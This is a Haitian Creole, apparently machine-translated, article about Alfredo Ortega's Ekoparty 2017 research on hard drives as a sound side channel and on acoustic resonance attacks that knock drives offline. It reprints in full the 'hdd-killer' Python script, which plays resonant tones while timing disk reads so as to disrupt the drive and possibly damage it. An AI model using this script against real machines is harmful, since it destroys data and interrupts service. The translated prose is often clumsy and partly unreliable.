Poukisa ou pa ta dwe rele sou HDD ou

Poukisa ou pa ta dwe rele sou HDD ou

Nan konferans sekirite òdinatè Ekoparty 2017 la nan Buenos Aires, pirate Ajantin Alfredo Ortega te montre yon devlopman trè enteresan - yon sistèm pou entènet sekrè lokal san yo pa itilize yon mikwofòn. Son anrejistre dirèkteman nan kondwi a difisil!

HDD a sitou ranmase son frekans ba-wo entansite, mak pye ak lòt vibrasyon. Lapawòl imen pa ka rekonèt ankò, byenke syantis yo ap fè rechèch nan direksyon sa a (rekonesans lapawòl pa vibrasyon ba-frekans, ki anrejistre, pou egzanp, nan yon jiroskop oswa HDD).

Son se vibrasyon lè oswa yon lòt mwayen. Yon moun wè yo atravè tanpon an, ki transmèt vibrasyon nan zòrèy enteryè a. Mikwofòn la fèt apeprè tankou yon zòrèy - isit la tou, vibrasyon yo anrejistre pa yon manbràn mens, ki eksite yon enpilsyon elektrik. Diskèt la difisil, nan kou, tou sijè a vibrasyon mikwoskopik akòz fluctuations nan lè a ki antoure. Sa a se li te ye menm nan karakteristik sa yo teknik nan HDDs: manifaktirè yo anjeneral endike nivo maksimòm Vibration akseptab, ak kondwi a difisil tèt li souvan eseye mete l 'nan yon veso Vibration-prèv ki fèt ak kawotchou oswa lòt materyèl posibilite. Apati sa a li fasil pou konkli ke son yo ka anrejistre lè l sèvi avèk HDD. Tout sa ki rete se konnen ki jan.

Alfredo Ortega te pwopoze yon vèsyon inik nan yon atak bò-chanèl, sètadi yon atak tan. Atak sa a baze sou sipozisyon ke diferan operasyon yo fèt sou aparèy la nan diferan moman, tou depann de done yo bay yo. Nan ka sa a, "done yo antre" se vibrasyon yo nan tèt la lekti ak plato a HDD, ki korelasyon ak vibrasyon yo nan anviwònman an, se sa ki, ak son. Kidonk, lè w mezire tan kalkil la epi fè yon analiz estatistik done yo, yo ka mezire vibrasyon tèt/plato a e pakonsekan vibrasyon mwayen an. Plis reta a nan lekti done yo, se pi fò vibrasyon HDD yo ak, Se poutèt sa, pi fò son an.

Ki jan yo mezire vibrasyon kondwi difisil? Trè senp: jis kouri apèl sistèm lan read () — epi anrejistre tan li pran pou konplete. Sistèm operasyon modèn yo pèmèt ou li distribisyon apèl sistèm ak presizyon nanosecond.

Vitès la nan lekti enfòmasyon ki soti nan yon sektè depann sou pozisyon an nan tèt la ak plato, ki korelasyon ak vibrasyon nan ka a HDD. Se tout.

Analiz estatistik fèt lè l sèvi avèk yon senp sèvis piblik Kscope. Kòm yo di, tout bagay enjenyeu se senp.

Poukisa ou pa ta dwe rele sou HDD ou
Kscope sèvis piblik (stat() syscall)

Kscope se yon ti sèvis piblik pou vizyalize ti diferans ki genyen nan tan ekzekisyon apèl sistèm yo. Souspibliye sou GitHub.

Nan yon depo separe HDD-tan gen yon vèsyon nan sèvis piblik la configuré pou yon atak tan sou kondwi a difisil, se sa ki, configuré pou analize apèl sistèm lan. read ().

Demonstrasyon anrejistreman son lè l sèvi avèk HDD, operasyon sèvis piblik Kscope


Natirèlman, lapawòl pa ka konprann nan fason sa a, men HDD a se byen apwopriye kòm yon Capteur Vibration. Pou egzanp, ou ka anrejistre si yon moun ki mete soulye difisil oswa pye atè antre nan yon chanm ak yon òdinatè (pwobableman, si atakè a ap mete tenis mou oswa gen yon tapi epè sou planche a, HDD a pa pral kapab anrejistre vibrasyon - sa a vo tcheke). Òdinatè a kapab anrejistre vè kase oswa lòt ensidan ak entansite son fò. Sa vle di, kondwi a difisil ka sèvi kòm yon kalite sistèm deteksyon entrizyon san otorizasyon.

HDD asasen

By wout la, yon teknik menm jan an ka itilize enfim disk di. Se sèlman isit la nou pa retire osilasyon nan HDD a, men okontrè, nou jenere osilasyon ki bay HDD a. Si ou jwe son nan yon oratè nan yon frekans ki rezone ak frekans HDD a, sistèm nan byento fèmen aparèy la ak yon erè I / O (kernel Linux la konplètman fèmen HDD a apre 120 segonn). Diskèt la tèt li ka soufri domaj irevokabl.

Poukisa ou pa ta dwe rele sou HDD ou
Kernel Linux etenn kondwi difisil la apre 120 segonn nan livrezon son nan yon frekans sonan atravè oratè Edifier r19u USB oratè a. Oratè a limen nan apeprè yon ka nan pouvwa a (mwens pase 100 mW) epi li sitiye 20 cm soti nan HDD a, ki vize sou tab la amelyore vibrasyon. Frame soti nan videyo ak yon demonstrasyon nan asasen an HDD

Li se kirye ke "atak" sa yo sou HDDs pafwa rive konplètman pa aksidan nan lavi chak jou. Pou egzanp, nan mwa septanm 2016, sant done ING Bank la te oblije sispann operasyon pou 10 èdtan apre yon egzèsis dife. Plizyè douzèn disk di yo te echwe akòz son an byen fò nan gaz inaktif ke yo te lage nan silenn anba presyon ki wo. Son an te trè byen fò (plis pase 130 dB), men ou pa ka menm rele byen fò nan disk yo - sa a ogmante reta nan aksè nan HDD la.

Demonstrasyon moun k ap kriye sou disk di nan yon sant done. Mezi latansi


Pou jenere son an sonan, Alfredo Ortega te ekri yon script Python ki rele hdd-asasen (demonstrasyon videyo).

HDD asasen script Li byen piti, kidonk ou ka pibliye li an antye isit la.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Sous: www.habr.com

Add nouvo kòmantè